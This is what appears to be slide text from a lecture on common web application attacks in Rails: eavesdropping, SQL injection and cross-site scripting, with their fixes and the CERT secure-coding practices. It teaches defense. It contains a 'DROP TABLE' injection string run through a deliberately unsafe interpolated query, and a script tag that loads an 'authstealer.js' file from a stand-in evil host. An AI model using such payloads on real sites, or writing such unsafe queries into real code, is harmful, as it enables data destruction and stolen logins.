Security: Attacks Countermeasures http:xkcd.com327 Three Common Web App Attacks and Countermeasures Ill unfold them one by one What potential attack happens here? What potential attack happens here? Eavesdropping, packet sniffing,
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Three Common Web App Attacks and Countermeasures I’ll unfold them one by one…<br>
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What potential attack happens here?<br>
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What potential attack happens here? Eavesdropping, packet sniffing,
man-in-the-middle<br>
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Example: Unsecured Sign-Up Page<br>
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How to prevent?<br>
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How to prevent? Encrypt communications with SSL (HTTPS)<br>
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How to enable site-wide SSL in Rails Also requires config on production server
E.g.: Signed certificate Taken from https://www.railstutorial.org/book/ (3rd Ed.) Listing 7.26
See also http://guides.rubyonrails.org/configuring.html#rails-general-configuration<br>
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Three Common Web App Attacks and Countermeasures Attack: Eavesdropping on network communications
Countermeasure: Encrypt communications with SSL<br>
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Why were the student records lost? http://xkcd.com/327/<br>
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Why were the student records lost? http://xkcd.com/327/ The name string “Robert'); DROP TABLE Students;--” injected malicious code
But how can this happen?<br>
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Imagine controller that looks up students by name id = params[:id]
# => "Robert"
…
Student.where("name = '#{id}'")<br>
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Imagine controller that looks up students by name id = params[:id]
# => "Robert"
…
Student.where("name = '#{id}'")<br>
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What if…? id = params[:id]
# => "Robert'; DROP TABLE students;--"
…
Student.where("name = '#{id}'")<br>
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What if…? id = params[:id]
# => "Robert'; DROP TABLE students;--"
…
Student.where("name = '#{id}'")<br>
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How to prevent SQL injection? id = params[:id]
# => "Robert'; DROP TABLE students;--"
…
Student.where("name = '#{id}'")<br>
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How to prevent SQL injection? id = params[:id]
# => "Robert'; DROP TABLE students;--"
…
Student.where("name = '#{id}'")<br>
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Translation becomes… id = params[:id]
# => "Robert'; DROP TABLE students;--"
…
Student.where("name = ?", id)<br>
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Translation becomes… id = params[:id]
# => "Robert'; DROP TABLE students;--"
…
Student.where("name = ?", id)<br>
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Three Common Web App Attacks and Countermeasures Attack: Eavesdropping on network communications
Countermeasure: Encrypt communications with SSL
Attack: SQL injection
Countermeasure: Use escaped queries<br>
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Micropost Example: What if…?<br>
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Micropost Example: What if…? Blah blah… <script src="http://mallorysevilsite.com/authstealer.js"> User posts<br>
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Malicious script runs when feed loads! Blah blah… <script src="http://mallorysevilsite.com/authstealer.js"><br>
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How to prevent cross-site scripting (XSS)?<br>
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How to prevent cross-site scripting (XSS)? Use Rails!
Hartl: “Rails automatically prevents the [XSS] problem by escaping any content inserted into view templates.”<br>
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Three Common Web App Attacks and Countermeasures Attack: Eavesdropping on network communications
Countermeasure: Encrypt communications with SSL
Attack: SQL injection
Countermeasure: Use escaped queries
Attack: Cross-site scripting (another type of injection)
Countermeasure: Use Rails (escape text) Although these attacks are common, there are many more
(e.g., cross-site request forgery – see Hartl Ch. 3)<br>
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CERT Top 10 Software Security Practices Validate input
Heed compiler warnings
Architect and design for security policies
Keep it simple
Default deny
Adhere to the principle of least privilege
Sanitize data sent to other software
Practice defense in depth
Use effective quality assurance techniques
Adopt a software construction security standard Taken from https://www.securecoding.cert.org/ (https://wiki.sei.cmu.edu/confluence/display/seccode/Top+10+Secure+Coding+Practices)<br>
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For more attacks and countermeasures, see the Rails Security Guide http://guides.rubyonrails.org/security.html<br>
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Summary Encrypting communication with SSL
SQL injection attacks
XSS attacks
CERT security practices<br>
